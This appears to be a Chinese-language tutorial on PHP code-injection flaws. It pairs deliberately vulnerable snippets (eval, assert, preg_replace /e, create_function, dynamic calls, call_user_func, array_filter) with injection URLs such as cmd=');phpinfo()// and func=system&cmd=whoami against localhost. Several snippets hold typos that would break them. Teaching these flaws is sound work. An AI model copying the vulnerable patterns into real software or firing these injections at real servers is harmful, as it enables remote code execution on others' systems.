代码执行与命令执行漏洞

[toc]

代码执行介绍

当用户提交的参数被作为代码的时候,此时称为代码注入。广义代码注入:覆盖大半安全漏洞分类,例如SQL注入、xss跨站等。狭义:动态代码执行函数的参数过滤不严格,导致用户输入数据作为服务端代码执行。

以php为例:

代码执行(相关函数)

大致分为五类:

1、eval+assert函数:接受字符串,使接受字符串作为脚本执行

2、preg_replace /e:正则匹配

3、用户自定义函数:用户可定义自己的函数执行

4、动态函数:声明变量,接受函数名称,通过变量名调用函数

5、其他

1.eval+assert

(1)直接输入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
eval(php 4,php 5,php 7) -把字符串作为php代码执行,当用户可以控制字符串那么此时存在代码注入漏洞

eval(string $code) : mixed
把字符串code作为php代码执行
mixed说明一个函数可以接受不同的(但不一定是所有的)类型

<?php
hightlight_file(__FILE__);//输出文件内容
eval("phpinfo();");
?>

<?php
hightlight_file(__FILE__);//输出文件内容
assert("phpinfo()");
?>
(2)通过GET|POST方式输入
1
2
3
4
5
6
<?php
hightlight_file(__FILE__);
$cmd = $GET['cmd'];
eval($cmd);
?>
输入:http://127.0.0.1/?cmd=phpinfo();

安全人员手段:加引号

1
2
3
4
5
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd']);
eval("\$ret = strtolower('cmd');");
?>

方法:闭合+注释

1
输入:http://127.0.0.1/?cmd=');phpinfo()//

如果开启了GPC就无法使用(会自动消除\\成\)

如果使用stripslashes()会将传入的’变成\‘

2.preg_replace

执行正则表达式的搜索和替换

原本是执行正常的正则表达式的搜索和替换,但是存在危险的/e修饰,使preg_replace()将replacement参数当作PHP代码执行。

1
2
3
<?php
@preg_replace("/abc/e",$REQUEST['cmd'],"abcd");
?>
1
输入:http://127.0.0.1/?cmd=phpinfo()
1
2
3
4
5
6
7
<?php
highlight_file('index.php');
$cmd = $_GET['cmd'];

preg_replace('/<data>(.*)</\data>/e','$ret="\\1";';$cmd);
echo $ret;
?>
1
输入:http://127.0.0.1/?cmd=<data>{$(phpinfo())}</data>

3.create_function执行漏洞

主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function(string $args, string $code)执行任意命令

1
2
3
4
<?php
$func = create_function('',$_REQUEST['cmd']);
$func();
?>
1
输入:http://127.0.0.1/?cmd=phpinfo();
动态函数调用

示例一:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function a(){
echo 'a';
}
function b(){
echo 'b';
}

if($isset($_GET["func"])){
$myfunc = $_GET["func"];
echo $myfunc();
}
?>
1
输入:http://127.0.0.1/?func=phpinfo();

示例二:

1
2
3
<?php
$_GET['a']($_GET('b'));
?>
1
输入:http://127.0.0.1/?a=assert&b=phpinfo();

此时等价于执行 assert(phpinfo());

用户自定义函数回调
call_user_func()、call_user_func_array():
1
2
3
<?php	
call_user_func('assert',$_GET['cmd']);
?>
1
输入:http://127.0.0.1/?cmd=phpinfo()
1
2
3
4
5
<?php
$cmd = $_GET['cmd'];
$array[0] = $cmd;
call_user_func_array('assert',$array);
?>
1
输入:http://127.0.0.1/?cmd=phpinfo()
array_filter、array_map:
1
2
3
4
5
6
<?php
$cmd = $_GET['cmd'];
$func=$_GET['func'];
$array1 = array($cmd);
$result = array_filter($array1, $func); //$func为回调函数,过滤$array1
?>
1
输入:http://127.0.0.1/?func=system&cmd=whoami